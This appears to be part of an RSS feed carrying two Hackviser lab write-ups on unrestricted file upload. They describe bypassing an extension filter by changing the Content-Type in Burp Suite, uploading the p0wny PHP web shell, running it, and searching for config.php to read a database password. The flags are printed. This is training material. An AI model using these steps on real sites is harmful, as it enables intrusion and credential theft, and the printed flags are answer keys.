            <content:encoded><![CDATA[<h3>🧪 Hackviser — Web Application Security</h3><h3>🧩 What is Unrestricted File Upload ?</h3><p><strong>Unrestricted File Upload</strong> vulnerabilities occur from the insecure development of file upload functionalities in web applications. In modern web applications, file uploading is a crucial function that allows users to attach files or change their profile pictures. However, if this functionality is not securely developed, it can lead to serious security risks resulting in <strong>Remote Code Execution or Shell Accesses or even more serious vulnerabilities</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j5k54eLrNhiSctnl.png" /></figure><p>For file upload, the page tells us that it allows only gif, png, jpeg, and png formats. Let’s see if it’s true or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSmkj9EjczOX-LEi09y9Pg.png" /></figure><p>It filters the extensions that we couldn’t upload our shell.php script from “<a href="https://github.com/flozz/p0wny-shell/blob/master/shell.php">https://github.com/flozz/p0wny-shell/blob/master/shell.php</a>”. Let’s try to manipulate it by using Burp Suite(Community Edition would be more than enough).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yP0ZscnonYiCyTvpYOpJxg.png" /></figure><p>By changing the POST Request’s Content-Type we can try to bypass the filter. Let’s change the “Content-Type: application/x-php” into “Content-Type: image/png” as png files do have MIME Type as image/png. After that, press Forward button to send the changed request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ob6dOXtyWaDjsXVp.png" /></figure><p>By changing the Content-Type(eg. MIME Type) from Burp Suite, we uploaded our shell script successfully!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C9vpssw4YMIqGTp4.png" /></figure><p>It also told us about the file path of our script which is “uploads/shell.php”, so enter that value to your browser for traversing to that path and execute your shell script.</p><p>We are in! Flag is basically the database password which is configured inside the config.php file. We can find it’s location by using the command “find / -name “config.php” 2&gt;/dev/null”. We use “2&gt;/dev/null” clause to not get the “Permission denied” errors(We send Standard Error (stderr) objects to void) for getting clean and short outputs.</p><p>As a result we got the flag with those processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkN6c1QATaGABO4OLPqmfg.png" /></figure><p>Flag : fRqs3s79mQxv6XVt</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f72adb7c4731" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackviser Unrestricted File Upload Labs — Basic Unrestricted File Upload]]></title>
            <link>https://mr-root.medium.com/hackviser-unrestricted-file-upload-labs-basic-unrestricted-file-upload-4bc19631a1a8?source=rss-2a02b39aa8b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/4bc19631a1a8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[unrestricted-file-upload]]></category>
            <category><![CDATA[file-upload]]></category>
            <dc:creator><![CDATA[mr.root]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 07:01:14 GMT</pubDate>
            <atom:updated>2026-03-25T07:01:14.692Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧪 Hackviser — Web Application Security</h3><h3>🧩 What is Unrestricted File Upload ?</h3><p><strong>Unrestricted File Upload</strong> vulnerabilities occur from the insecure development of file upload functionalities in web applications. In modern web applications, file uploading is a crucial function that allows users to attach files or change their profile pictures. However, if this functionality is not securely developed, it can lead to serious security risks resulting in <strong>Remote Code Execution or Shell Accesses or even more serious vulnerabilities</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGY3aafSvwAC8bXtG-Ryfg.png" /></figure><p>For file upload, the page tells us that it allows only gif, png, jpeg, and png formats. Let’s see if it’s true or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w7544H1RgVKJ3gL8CstXeQ.png" /></figure><p>As we can see that there is no filtering for file uploads which lets us to upload and execute whichever file/script we want.</p><p>We can upload a basic cmd.php and just execute linux command prompts but instead we are gonna use a shell script which gives us a shell access to the target machine from “<a href="https://github.com/flozz/p0wny-shell/blob/master/shell.php">https://github.com/flozz/p0wny-shell/blob/master/shell.php</a>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qpd1nkrVAqtmB3GTYjDKUw.png" /></figure><p>We did upload the shell script and also we have the information of the file’s location which is “uploads/shell.php”. Let’s traverse to that location via. browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAeB2JpLJsZuGCmZL2l0vQ.png" /></figure><p>We are in! Flag is basically the database password which is configured inside the config.php file. We can find it’s location by using the command “find / -name “config.php” 2&gt;/dev/null”. We use “2&gt;/dev/null” clause to not get the “Permission denied” errors(We send Standard Error (stderr) objects to void) for getting clean and short outputs.</p><p>As a result we got the flag with those processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_lej5YmuyQMebGMMod1Bag.png" /></figure><p>Flag : 8jv77mvXwR7LVU5v</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4bc19631a1a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>